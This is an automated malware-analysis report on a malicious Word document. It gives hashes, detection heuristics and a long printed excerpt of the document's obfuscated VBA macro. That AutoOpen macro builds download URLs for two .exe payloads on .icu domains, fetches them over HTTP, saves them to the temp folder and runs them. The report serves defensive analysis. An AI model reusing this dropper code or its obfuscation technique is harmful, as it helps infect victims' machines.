Office (OLE) malware analysis — malicious · 54ca424715511e38

MALICIOUS

Office (OLE)

402.5 KB Created: 2019-06-22 18:54:00 Authoring application: Microsoft Office Word First seen: 2019-11-20

MD5: 7c4b21ac8f20a78b282ca27d6b191727 SHA-1: c2ab310c2ee516453f091d5dddafcab39c811077 SHA-256: 54ca424715511e387a2faa1485a9758bad3cca7c42f3bdee27a1cd1d845f0512

318 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Word document containing VBA macros. The AutoOpen macro executes, and heuristics indicate it downloads and saves a file to disk using HTTP. The embedded URLs, https://docexchg.icu/ncml.exe and https://senddocs.icu/stelar.exe, are likely the locations of the second-stage payload. The macro also contains a potential Shell call, indicating execution of the downloaded file.

Heuristics 10

ClamAV: Doc.Dropper.Agent-7052224-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-7052224-0
VBA macros detected medium 6 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell ewchodp & sezii, tbawluuc
```
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
wrniiz.Write ueyagf99.responseBody
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set ueyagf99 = CreateObject("Microsoft.XMLHTTP")
```
Payload URL assembled from a Chr()/Asc() string expression (2 URLs) high OLE_VBA_EXPR_DROPPER_URL

A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
ewchodp = Environ("temp")
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://docexchg.icu/ncml.exe Referenced by macro
- https://senddocs.icu/stelar.exeReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 81899 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	81899 bytes
SHA-256: `edaaf5bfe73438f2b8da88e750e7ddb514d53b4a596aad90630ab4c03fda4bad`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" Sub AutoOpen() Dim kryea kryea = -2749 ziaz = 30192 y = (Not ziaz) t = -37525 yaf = (Not t) Dim aynczd As String aynczd = "ouiedq5" For y = 50 To 51 bhurwq = "ogjfffffffffffffymzwiumwia" Next y rg = 42734 yrvdt = 59468 daey = Not (rg > yrvdt) For ab = 22 To 23 xtujloy = 8731 Next ab Dim mnbpee03 As Double mnbpee03 = 40662.56037 For oin = 24 To 24 jyyovt = oin Next oin Dim xksjxtu As Integer xksjxtu = -16189 Dim dhoyjtdk dhoyjtdk = -25901 enihj = -27280 aar = (Not enihj) Dim jthhix As Boolean jthhix = False Dim mbqu As Integer mbqu = -15662 qh = 59652 leg = (Not qh) Dim eetu eetu = -32662 Dim xtuzdyf xtuzdyf = 1622 For gp = 52 To 52 whbceu = gp Next gp aedcp = "exe" For iusc = 100 To 100 ntuvea = iusc Next iusc Dim poocqp As Integer poocqp = 27148 fg = 12539 u = -51021 v = Not (fg > u) For yz = 81 To 82 tqejhekxy0 = "kfjnaqblcsnmouqy" Next yz Dim ahdyo ahdyo = 7090 For olpvb = 76 To 77 elao = "evhegxj" Next olpvb For k = 45 To 45 eohdhwy = 7808 Next k ijm = 38208 nf = 36656 idd = Not (ijm < nf) For rl = 89 To 89 aauga = aauga + rl Next rl lx = 64840 pf = (Not lx) evlzpitbu = "\dfpd" For o = 91 To 92 vluiii1 = vluiii1 + o Next o Dim cvqjgzdo4 As Double cvqjgzdo4 = -12963.47976 Dim efpeuo As String efpeuo = "9541" Dim crodfpgu As Double crodfpgu = 40848.8834 Dim eksnlyqf eksnlyqf = -11827 ox = 15559 pro = -52824 kjyc11 = Not (ox < pro) For iq = 65 To 66 oyuqd = oyuqd + iq Next iq For y = 93 To 95 ihueoo = y Next y o = 16909 a = -60855 snqmlu = Not (o > a) For eds = 59 To 60 anrvnui0 = eds Next eds For ykl = 19 To 19 qaiivx = "lpeakygjbpfassertb" Next ykl Dim uetxo As Double uetxo = -17570.2731 For x = 71 To 74 ywyyj = ywyyj + x Next x For plf = 24 To 27 abrhkss = "yykga" Next plf Dim injuw As Integer injuw = 31533 iozeuwc82 = "get" For nsx = 99 To 99 ixnmfg = "ofuoezglonh" Next nsx Dim uerz0 As Double uerz0 = 42300.15294 For m = 20 To 22 eblee = "apqmskiwloxoi" Next m Dim uaejgppkw26 As Double uaejgppkw26 = -19607.182 Dim oegdrmcq oegdrmcq = 11037 Dim yzrgi1 yzrgi1 = 30305 y = -40139 m = 53910 yzwu = Not (y < m) For hdzp = 19 To 22 agscbce = 7036 Next hdzp Dim zxcaw zxcaw = 1280 ayfe5 = 41266 eou = (Not ayfe5) j = 6034 n = -60215 enqo = Not (j > n) y = -55621 izr = (Not y) For E = 40 To 40 oianqrgfn04 = E Next E For pzpk = 86 To 88 akowiy = akowiy + pzpk Next pzpk uougbhy = "xe" ytcu = -39063 yntba = (Not ytcu) Dim uovjzqxg uovjzqxg = -27011 Dim knuuyev As Boolean knuuyev = False For ua = 40 To 41 iywfua = "syebmi" Next ua For d = 79 To 79 ghzfa = ghzfa + d Next d Dim raylne raylne = 13265 Dim uqwyi42 As Integer uqwyi42 = -31817 otb = -27602 ybik98 = (Not otb) lo = 53654 uyu = 19590 aeym = Not (lo > uyu) yaue8 = "egzu." For E = 32 To 33 jpmpyony = "jwhsiy" Next E Dim xwjbes As Boolean xwjbes = False For uexm = 73 To 73 utye = utye + uexm Next uexm eou = -30658 a = -10203 eurhi = Not (eou < a) For nx = 63 To 65 mlaii = mlaii + nx Next nx Dim kwsgzsoi As Double kwsgzsoi = -24326.29518 For ycd = 69 To 70 oioa5 = oioa5 + ycd Next ycd Dim drsju As Boolean drsju = True Dim zlaxxtqd0 zlaxxtqd0 = -24354 Dim oquma As Double oquma = 59338.26565 Dim agtof agtof = -3477 lfitpa = 31224 dsx = -10024 tv = Not (lfitpa > dsx) jd = 42419 t = 3792 iaya = Not (jd < t) Dim pdau pdau = -1695 ieaocgr = "cexchg" For ieo = 71 To 71 pujxnd = pujxnd + ieo Next ieo hsiat = -48605 fcu = 60026 ou = Not (hsiat > fcu) For axju15 = 38 To 40 suahdb = "gkbfhfwyazjgz" Next axju15 Dim hzeadww As Boolean hzeadww = False For eub = 45 To 45 vvjvde = 3676 Next eub Dim eqjwpj As Boolean eqjwpj = False For u = 36 To 36 yuiom = yuiom + u Next u Dim hssdpy hssdpy = -3488 For fg = 89 To 91 ykhgdwx = -2979 Next fg Dim qkaeogj As Integer qkaeogj = -11815 For ugxa = 91 To 91 auzrvio04 = auzrvio04 + ugxa Next ugxa Dim pdkyuxr49 pdkyuxr49 = -21262 Dim ywdq5 ywdq5 = 28972 Dim qboosu9 As Boolean qboosu9 = False Dim dxchbsi As Boolean dxchbsi = False jwfrk = 24587 yeu = 38819 kvhu = Not (jwfrk < yeu) For lq = 34 To 36 vtoya = -351 Next lq ewkiots = "http" oqfcs = -21732 cny = (Not oqfcs) Dim apeuy3 apeuy3 = 7845 For wex = 96 To 97 iinkofre9 = wex Next wex For odff0 = 78 To 80 owlgax = -5658 Next odff0 For keqk = 55 To 57 kferua = 19269 Next keqk Dim shlzohy shlzohy = -26265 nvcdird = 64802 f = -24171 oaed = Not (nvcdird > f) For zee = 90 To 91 cvbij = "yzcnyrwffyyylri" Next zee For wvjwa = 79 To 81 obvoi = obvoi + wvjwa Next wvjwa Dim otryie otryie = 19572 For c = 99 To 99 gvyux6 = c Next c For i = 12 To 13 khjey4 = "uhdxaxrnefat" Next i Dim eqwea As Integer eqwea = -26774 Dim gqoif22 As Double gqoif22 = 2778.5535 uek = 31423 d = -991 hfmt7 = Not (uek < d) zid = -9958 uddb = (Not zid) For ripz35 = 73 To 75 utjjdw00 = -13204 Next ripz35 For x = 86 To 87 akot = x Next x avymn02 = "s://do" Dim hkbylvip hkbylvip = -2206 Dim ibdwraui As Double ibdwraui = 4363.62161 For wf = 99 To 99 zzbpkmeo = "eufziouqvo" Next wf For py = 47 To 49 ovukqc = "jemxyhoozsujtng" Next py tbr = -47325 Ink = -31043 qyho6 = Not (tbr < Ink) fce = -64515 ddd = (Not fce) Dim wxmbeu As Boolean wxmbeu = True For mdqe = 17 To 17 zjzib = zjzib + mdqe Next mdqe For t = 82 To 83 yhvubsi50 = yhvubsi50 + t Next t nhsiy = 10230 nlosm = (Not nhsiy) Dim ehjuudc As Double ehjuudc = 36773.54739 eeipxgn = ".ic" For o = 46 To 46 ectra = -16365 Next o For dkhd = 31 To 32 bmcja = "gjzqioeozq38" Next dkhd dxii2 = -29213 vfh = (Not dxii2) zjqn = 18721 mfkewl = (Not zjqn) For Z = 36 To 36 eueai = Z Next Z For hloo0 = 90 To 90 emgryilb = emgryilb + hloo0 Next hloo0 kg = 7508 yea = -20842 vwwdn = Not (kg > yea) For r = 70 To 71 deehti = deehti + r Next r t = 26263 bqtmvti = (Not t) For etdw = 70 To 73 bgvehs5 = 12129 Next etdw xoe = -43364 ztr = (Not xoe) uos = -18012 scqb = -32404 ei = Not (uos > scqb) ej = -45459 lspe = 40557 aoewm = Not (ej < lspe) For yqb = 76 To 77 rkihmi = "airranfmvjlhmo" Next yqb Dim vouyumz22 As Double vouyumz22 = 21997.20344 au = -57186 ol = (Not au) alh = 2910 m = (Not alh) oiuio = "l.e" For o = 38 To 38 iieaym = o Next o p = 23251 u = (Not p) pm = 30013 nyarf = (Not pm) For yzv = 47 To 48 chuegd03 = -11362 Next yzv Dim mcekqio mcekqio = -30232 uqpc = -6308 ug = (Not uqpc) o = 12977 u = 1056 eimzy = Not (o < u) sw = 16380 E = (Not sw) u = 61127 y = (Not u) For l = 100 To 100 ykqaqfe = 6900 Next l Dim fkyub As Integer fkyub = -9993 Dim ndlez ndlez = 14236 veiio57 = "u/ncm" a = -61315 axwqttb91 = (Not a) Z = 55009 vznws30 = 22297 om = Not (Z < vznws30) For i = 60 To 61 uuowi = "asrorehogq33" Next i ao = -60915 pd = 14341 inwe37 = Not (ao < pd) Dim auoexvf As String auoexvf = "-21224" imci = -57973 E = -34296 eg = Not (imci < E) Dim istioei istioei = 9961 aw = 58023 ffujbm = (Not aw) For ui = 41 To 41 jmzoatp = jmzoatp + ui Next ui gs = 15692 u = (Not gs) wit = 34521 na = -65885 onsm = Not (wit > na) xrs = -50892 ya = 8022 cuuu = Not (xrs < ya) wk = 36270 ud = 4470 ouidt0 = Not (wk > ud) For mna = 59 To 62 aqrhznipl = "uyhoaiuqoalv" Next mna Dim yiugub As Double yiugub = -56056.2996 For i = 74 To 77 smenfhk = -13180 Next i Dim axyhcqa As Double axyhcqa = -45267.61195 ityjqe = ewkiots & avymn02 & ieaocgr & eeipxgn & veiio57 & oiuio & uougbhy Dim frlksnoj As Double frlksnoj = 20685.54033 For uo = 88 To 88 eomrap = eomrap + uo Next uo For joe = 43 To 46 douoi = douoi + joe Next joe ba = 48813 ykp = -24503 ougq = Not (ba > ykp) Dim pdgclhklo As Integer pdgclhklo = 10272 Dim qnvooy88 As Integer qnvooy88 = -5196 For cua = 37 To 38 hxansgrt = "aoucykky" Next cua Dim aaykwyu As String aaykwyu = "4548" For bvpi = 16 To 17 eabzk = "qdpnnabaayiwjrvunko" Next bvpi For m = 13 To 13 qsngttkrta = m Next m For yex = 75 To 75 fcbmaen = fcbmaen + yex Next yex zzey = 61627 vx = -10100 na = Not (zzey > vx) sezii = evlzpitbu & yaue8 & aedcp Dim alsyaoa8 As Integer alsyaoa8 = -10201 Dim ryqvgty As Integer ryqvgty = 25540 For E = 69 To 72 zwmsckfq = E Next E pvu = -58420 wkmaj = -54512 xubbr = Not (pvu > wkmaj) Dim ucfcvduy63 As Boolean ucfcvduy63 = False For i = 93 To 93 dngpegd = i Next i For um = 65 To 65 xkclodfhzl18 = xkclodfhzl18 + um Next um Dim ooiyxm ooiyxm = -12044 euwnv31 = -33069 q = (Not euwnv31) bg = -27118 yuybx = (Not bg) For vvi = 57 To 58 uifqqn09 = uifqqn09 + vvi Next vvi Dim itra61 itra61 = -18246 ablhdy = 64191 rviu00 = 21177 awp = Not (ablhdy < rviu00) For xvqtt = 39 To 40 vzxxtauf = "esbesxl" Next xvqtt Dim thfaei As Boolean thfaei = False yab = -18635 uanx = (Not yab) Set ueyagf99 = CreateObject("Microsoft.XMLHTTP") For yktz = 22 To 23 oeykyu = "ueyao" Next yktz u = -31476 hd = (Not u) efo = 32637 zm = 56289 oto = Not (efo > zm) For zhu = 43 To 43 aivdmvv = aivdmvv + zhu Next zhu For vagw = 94 To 94 gpstqu8 = gpstqu8 + vagw Next vagw y = -58225 o = (Not y) For swavm = 20 To 21 aedappl = aedappl + swavm Next swavm Dim emryx emryx = 23671 For rro = 32 To 32 ajodtdk = ajodtdk + rro Next rro For y = 77 To 78 yasnilg = 5149 Next y Dim ufjoa1 ufjoa1 = -21235 bo = 51 emn = (Not bo) For fga = 74 To 75 jnstlraa2 = -18389 Next fga For vg = 78 To 81 rrrhna = "sthieyvzieuuyo" Next vg If Weekday(#4/20/1889#) = 7 Then iape3 = 45976 iym = 17193 iuewk = Not (iape3 < iym) umw = 16193 eeai = (Not umw) For kpnw = 99 To 101 viii = kpnw Next kpnw yopnu = 4899 rbhy = (Not yopnu) Dim tvebpgwmk5 As Boolean tvebpgwmk5 = False Dim prhael As Double prhael = -46213.8535 ypswr = -12693 og = 9118 h = Not (ypswr > og) uu = 41137 riox = 14367 ua = Not (uu < riox) For awca = 33 To 36 oygal = -8999 Next awca Dim yabsiy As Double yabsiy = 49045.52674 Dim onlbei As Integer onlbei = 21566 Dim zhzzmsvo zhzzmsvo = -10808 Dim iopspszy As Double iopspszy = 54353.32501 For vxt = 42 To 44 ibtitkq90 = -11379 Next vxt For lo = 34 To 34 oaffya = oaffya + lo Next lo E = -25657 ya = -31739 xet = Not (E > ya) here = "http" & herg & "s://senddocs.icu/stelar.exe" Dim uyrzaes uyrzaes = -16162 tpedw = -25408 E = (Not tpedw) vx = 22134 bqdqo = (Not vx) aauu = -2569 awbpns0 = (Not aauu) For o = 42 To 43 vsuy29 = "tcfwjzlagrcev" Next o E = -1374 ays = (Not E) hfeawm4 = 24413 ke = (Not hfeawm4) gbo = -28901 eie = (Not gbo) exwuo70 = -28251 vt = (Not exwuo70) ueyagf99.Open iozeuwc82, here, False oio = -33156 ia = (Not oio) For rwi = 10 To 12 etgoyzge = etgoyzge + rwi Next rwi For bli = 13 To 14 bsoyacme = bsoyacme + bli Next bli For yxjxd = 86 To 86 lzil00 = "igypuezkjywxqy9" Next yxjxd Dim oioa As Integer oioa = 4595 dfp = -7706 ewv = (Not dfp) E = -41349 gbw = (Not E) For uibv = 77 To 77 iopvdnta = -3003 Next uibv For hntg = 22 To 23 ooyyw = hntg Next hntg Dim suuadn As Boolean suuadn = True Dim evrgu evrgu = -7042 Dim khlpxzb khlpxzb = 26378 For fncl = 52 To 55 ulno = "okdsjaeux" Next fncl Dim ebju ebju = -10643 pwz = 9698 ei = -25940 g = Not (pwz < ei) For yfg = 73 To 73 zlziskxb5 = "pqoyiyeythgqyokbiv" Next yfg For x = 87 To 87 ucos = "gfitmxsauowjvavefy" Next x Dim usurqplzx usurqplzx = 30208 For vgoo = 66 To 67 nxddsmv = vgoo Next vgoo For y = 83 To 85 pyuyo2 = y Next y Dim oepkqb As Boolean oepkqb = True Dim vleox As String vleox = "bzebgbdaie" For o = 88 To 89 yzebbmcn = o Next o Dim wrpke64 wrpke64 = -2994 Dim auomzl auomzl = 29993 For ue = 64 To 65 yeuiao = ue Next ue For oo = 24 To 25 ovjdgjm53 = oo Next oo Dim wqnsixh As String wqnsixh = "l" For obr = 38 To 39 iioeo = "lxifeeotlg" Next obr End If For g = 22 To 24 dsvhauf = "vnhwwwowywliuatx" Next g Dim xkeun00 As Integer xkeun00 = 30510 Dim wsaiavu As Integer wsaiavu = -11297 For al = 56 To 57 vezqzoe = "qizooyoepcvvp" Next al Dim wpeyvknn As Boolean wpeyvknn = True nocla0 = 41367 y = (Not nocla0) Dim iuatqmu2 As Integer iuatqmu2 = -15209 Dim ogkdkur As String ogkdkur = "-21980" Dim yooi As Double yooi = 20298.10981 For i = 29 To 31 arwjjqyu = -7238 Next i Dim cfpwlrmmgj As Double cfpwlrmmgj = -65203.59197 Dim yuynbz1 As Integer yuynbz1 = 31581 For zp = 60 To 60 uaeuyu44 = uaeuyu44 + zp Next zp Dim uikzj3 As Boolean uikzj3 = True For E = 58 To 58 dkdprbkuvk = "kaeyfteylv" Next E For n = 37 To 39 iooyii = "qxfpchyylbtyafgvwytp" Next n ueyagf99.send niwme71 = -566 u = (Not niwme71) For yc = 88 To 91 yeeklpi0 = -13079 Next yc oa = -45684 jv = (Not oa) Dim ahrlfya As Boolean ahrlfya = False For iavx = 76 To 77 knoiuit = "hapjwvqlxhkqoembow" Next iavx vgxco9 = -26602 eab = (Not vgxco9) For iue = 14 To 15 zayirke = iue Next iue eajpm = -2312 hzdh = 28622 aae = Not (eajpm > hzdh) For ual = 11 To 12 mqzppe = mqzppe + ual Next ual r = -1381 xsdnxo00 = 39414 pil = Not (r < xsdnxo00) jty = -29179 utssx = (Not jty) ye = 54878 ooiv = (Not ye) eex = 3943 o = 7433 pdkqhb = Not (eex > o) Set wrniiz = CreateObject("ADODB.Stream") For E = 12 To 13 eafzdnz8 = -17406 Next E a = 53219 ekay8 = (Not a) Dim buunc6 As Integer buunc6 = -29014 For dspu03 = 93 To 93 ayrxie = "wwquyuiiiieukz" Next dspu03 For rdu = 59 To 61 aejy8 = -13733 Next rdu Dim xnpx xnpx = 32504 fjeoy = 22265 cmgr = (Not fjeoy) aez = -50499 kcv = 59163 s = Not (aez < kcv) Dim ulrrtwhbz As Integer ulrrtwhbz = -10454 etc = -32813 iwtfi = (Not etc) jzvp41 = 63949 t = (Not jzvp41) For wx = 38 To 38 ujyble = -5916 Next wx Dim yuii yuii = -32122 Dim uilybf uilybf = -8148 vx = -53641 iohna = (Not vx) wrniiz.Open ub = -21045 ilc = (Not ub) For t = 69 To 70 acawtv21 = -3661 Next t For gspvy = 16 To 16 aiuiea1 = aiuiea1 + gspvy Next gspvy Dim inenoy As Double inenoy = 20933.36357 For a = 47 To 47 rfyetb = a Next a rja = -47794 k = (Not rja) Dim hlabjo As Boolean hlabjo = False For rsye62 = 72 To 72 ajga53 = rsye62 Next rsye62 For iuxs6 = 53 To 54 iltonxdh = iltonxdh + iuxs6 Next iuxs6 Dim fbyeaw fbyeaw = -16689 For kw = 24 To 24 yyyab = "cwtflezfmiere" Next kw wrniiz.Type = 1 For u = 86 To 88 oyouo = "upgfzuffl" Next u zwcan0 = -28270 rar = 4571 l = Not (zwcan0 > rar) Dim izmctmqqwf izmctmqqwf = 6789 Dim ojjibgiy As String ojjibgiy = "jjwwzujnia" Dim ygjkq ygjkq = 13398 For ai = 67 To 68 eovdzz = "eyqepdcalaqgmz" Next ai For u = 56 To 57 owdmqye = "omdxnpwvoo" Next u Dim ooeomr As Double ooeomr = 3522.4529 Dim auzdzvip auzdzvip = -18853 r = -3333 vfj = (Not r) Dim ujmqie ujmqie = -26598 h = 24329 hnl = 60320 wzcwf4 = Not (h > hnl) wrniiz.Write ueyagf99.responseBody Dim cxpqguli51 cxpqguli51 = 2857 For eu = 11 To 11 lmrpul = eu Next eu Dim ptfbeinnn As Boolean ptfbeinnn = True Dim syybez As String syybez = "idbxztl" Dim mhpsv As String mhpsv = "yyicvz" Dim eaal eaal = 20618 For fh = 90 To 91 fsowvn = fh Next fh For wuy = 16 To 16 ouwwbnqz = ouwwbnqz + wuy Next wuy Dim uufcw As Boolean uufcw = False …

SHA-256: edaaf5bfe73438f2b8da88e750e7ddb514d53b4a596aad90630ab4c03fda4bad

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Dim kryea
kryea = -2749
ziaz = 30192
y = (Not ziaz)
t = -37525
yaf = (Not t)

Dim aynczd As String
aynczd = "ouiedq5"
For y = 50 To 51
bhurwq = "ogjfffffffffffffymzwiumwia"
Next y
rg = 42734
yrvdt = 59468
daey = Not (rg > yrvdt)

For ab = 22 To 23
xtujloy = 8731
Next ab
Dim mnbpee03 As Double
mnbpee03 = 40662.56037
For oin = 24 To 24
jyyovt = oin
Next oin
Dim xksjxtu As Integer
xksjxtu = -16189
Dim dhoyjtdk
dhoyjtdk = -25901

enihj = -27280
aar = (Not enihj)

Dim jthhix As Boolean
jthhix = False
Dim mbqu As Integer
mbqu = -15662
qh = 59652
leg = (Not qh)
Dim eetu
eetu = -32662

Dim xtuzdyf
xtuzdyf = 1622
For gp = 52 To 52
whbceu = gp
Next gp
aedcp = "exe"
For iusc = 100 To 100
ntuvea = iusc
Next iusc

Dim poocqp As Integer
poocqp = 27148

fg = 12539
u = -51021
v = Not (fg > u)

For yz = 81 To 82
tqejhekxy0 = "kfjnaqblcsnmouqy"
Next yz
Dim ahdyo
ahdyo = 7090
For olpvb = 76 To 77
elao = "evhegxj"
Next olpvb
For k = 45 To 45
eohdhwy = 7808
Next k

ijm = 38208
nf = 36656
idd = Not (ijm < nf)

For rl = 89 To 89
aauga = aauga + rl
Next rl

lx = 64840
pf = (Not lx)

evlzpitbu = "\dfpd"
For o = 91 To 92
vluiii1 = vluiii1 + o
Next o
Dim cvqjgzdo4 As Double
cvqjgzdo4 = -12963.47976
Dim efpeuo As String
efpeuo = "9541"
Dim crodfpgu As Double
crodfpgu = 40848.8834
Dim eksnlyqf
eksnlyqf = -11827

ox = 15559
pro = -52824
kjyc11 = Not (ox < pro)

For iq = 65 To 66
oyuqd = oyuqd + iq
Next iq
For y = 93 To 95
ihueoo = y
Next y
o = 16909
a = -60855
snqmlu = Not (o > a)

For eds = 59 To 60
anrvnui0 = eds
Next eds

For ykl = 19 To 19
qaiivx = "lpeakygjbpfassertb"
Next ykl

Dim uetxo As Double
uetxo = -17570.2731
For x = 71 To 74
ywyyj = ywyyj + x
Next x
For plf = 24 To 27
abrhkss = "yykga"
Next plf
Dim injuw As Integer
injuw = 31533
iozeuwc82 = "get"
For nsx = 99 To 99
ixnmfg = "ofuoezglonh"
Next nsx
Dim uerz0 As Double
uerz0 = 42300.15294
For m = 20 To 22
eblee = "apqmskiwloxoi"
Next m
Dim uaejgppkw26 As Double
uaejgppkw26 = -19607.182
Dim oegdrmcq
oegdrmcq = 11037
Dim yzrgi1
yzrgi1 = 30305

y = -40139
m = 53910
yzwu = Not (y < m)

For hdzp = 19 To 22
agscbce = 7036
Next hdzp
Dim zxcaw
zxcaw = 1280
ayfe5 = 41266
eou = (Not ayfe5)
j = 6034
n = -60215
enqo = Not (j > n)

y = -55621
izr = (Not y)

For E = 40 To 40
oianqrgfn04 = E
Next E
For pzpk = 86 To 88
akowiy = akowiy + pzpk
Next pzpk
uougbhy = "xe"
ytcu = -39063
yntba = (Not ytcu)
Dim uovjzqxg
uovjzqxg = -27011

Dim knuuyev As Boolean
knuuyev = False
For ua = 40 To 41
iywfua = "syebmi"
Next ua
For d = 79 To 79
ghzfa = ghzfa + d
Next d
Dim raylne
raylne = 13265
Dim uqwyi42 As Integer
uqwyi42 = -31817

otb = -27602
ybik98 = (Not otb)
lo = 53654
uyu = 19590
aeym = Not (lo > uyu)

yaue8 = "egzu."
For E = 32 To 33
jpmpyony = "jwhsiy"
Next E

Dim xwjbes As Boolean
xwjbes = False
For uexm = 73 To 73
utye = utye + uexm
Next uexm
eou = -30658
a = -10203
eurhi = Not (eou < a)


For nx = 63 To 65
mlaii = mlaii + nx
Next nx
Dim kwsgzsoi As Double
kwsgzsoi = -24326.29518
For ycd = 69 To 70
oioa5 = oioa5 + ycd
Next ycd
Dim drsju As Boolean
drsju = True
Dim zlaxxtqd0
zlaxxtqd0 = -24354
Dim oquma As Double
oquma = 59338.26565
Dim agtof
agtof = -3477

lfitpa = 31224
dsx = -10024
tv = Not (lfitpa > dsx)

jd = 42419
t = 3792
iaya = Not (jd < t)

Dim pdau
pdau = -1695

ieaocgr = "cexchg"
For ieo = 71 To 71
pujxnd = pujxnd + ieo
Next ieo
hsiat = -48605
fcu = 60026
ou = Not (hsiat > fcu)

For axju15 = 38 To 40
suahdb = "gkbfhfwyazjgz"
Next axju15
Dim hzeadww As Boolean
hzeadww = False

For eub = 45 To 45
vvjvde = 3676
Next eub
Dim eqjwpj As Boolean
eqjwpj = False
For u = 36 To 36
yuiom = yuiom + u
Next u
Dim hssdpy
hssdpy = -3488
For fg = 89 To 91
ykhgdwx = -2979
Next fg
Dim qkaeogj As Integer
qkaeogj = -11815
For ugxa = 91 To 91
auzrvio04 = auzrvio04 + ugxa
Next ugxa
Dim pdkyuxr49
pdkyuxr49 = -21262
Dim ywdq5
ywdq5 = 28972
Dim qboosu9 As Boolean
qboosu9 = False

Dim dxchbsi As Boolean
dxchbsi = False

jwfrk = 24587
yeu = 38819
kvhu = Not (jwfrk < yeu)


For lq = 34 To 36
vtoya = -351
Next lq
ewkiots = "http"
oqfcs = -21732
cny = (Not oqfcs)

Dim apeuy3
apeuy3 = 7845
For wex = 96 To 97
iinkofre9 = wex
Next wex
For odff0 = 78 To 80
owlgax = -5658
Next odff0
For keqk = 55 To 57
kferua = 19269
Next keqk

Dim shlzohy
shlzohy = -26265
nvcdird = 64802
f = -24171
oaed = Not (nvcdird > f)

For zee = 90 To 91
cvbij = "yzcnyrwffyyylri"
Next zee
For wvjwa = 79 To 81
obvoi = obvoi + wvjwa
Next wvjwa
Dim otryie
otryie = 19572
For c = 99 To 99
gvyux6 = c
Next c

For i = 12 To 13
khjey4 = "uhdxaxrnefat"
Next i
Dim eqwea As Integer
eqwea = -26774
Dim gqoif22 As Double
gqoif22 = 2778.5535
uek = 31423
d = -991
hfmt7 = Not (uek < d)

zid = -9958
uddb = (Not zid)
For ripz35 = 73 To 75
utjjdw00 = -13204
Next ripz35
For x = 86 To 87
akot = x
Next x
avymn02 = "s://do"
Dim hkbylvip
hkbylvip = -2206
Dim ibdwraui As Double
ibdwraui = 4363.62161
For wf = 99 To 99
zzbpkmeo = "eufziouqvo"
Next wf
For py = 47 To 49
ovukqc = "jemxyhoozsujtng"
Next py

tbr = -47325
Ink = -31043
qyho6 = Not (tbr < Ink)

fce = -64515
ddd = (Not fce)
Dim wxmbeu As Boolean
wxmbeu = True
For mdqe = 17 To 17
zjzib = zjzib + mdqe
Next mdqe

For t = 82 To 83
yhvubsi50 = yhvubsi50 + t
Next t
nhsiy = 10230
nlosm = (Not nhsiy)

Dim ehjuudc As Double
ehjuudc = 36773.54739
eeipxgn = ".ic"
For o = 46 To 46
ectra = -16365
Next o
For dkhd = 31 To 32
bmcja = "gjzqioeozq38"
Next dkhd
dxii2 = -29213
vfh = (Not dxii2)

zjqn = 18721
mfkewl = (Not zjqn)
For Z = 36 To 36
eueai = Z
Next Z

For hloo0 = 90 To 90
emgryilb = emgryilb + hloo0
Next hloo0
kg = 7508
yea = -20842
vwwdn = Not (kg > yea)

For r = 70 To 71
deehti = deehti + r
Next r
t = 26263
bqtmvti = (Not t)
For etdw = 70 To 73
bgvehs5 = 12129
Next etdw
xoe = -43364
ztr = (Not xoe)
uos = -18012
scqb = -32404
ei = Not (uos > scqb)

ej = -45459
lspe = 40557
aoewm = Not (ej < lspe)

For yqb = 76 To 77
rkihmi = "airranfmvjlhmo"
Next yqb
Dim vouyumz22 As Double
vouyumz22 = 21997.20344
au = -57186
ol = (Not au)
alh = 2910
m = (Not alh)
oiuio = "l.e"
For o = 38 To 38
iieaym = o
Next o
p = 23251
u = (Not p)
pm = 30013
nyarf = (Not pm)

For yzv = 47 To 48
chuegd03 = -11362
Next yzv

Dim mcekqio
mcekqio = -30232
uqpc = -6308
ug = (Not uqpc)
o = 12977
u = 1056
eimzy = Not (o < u)

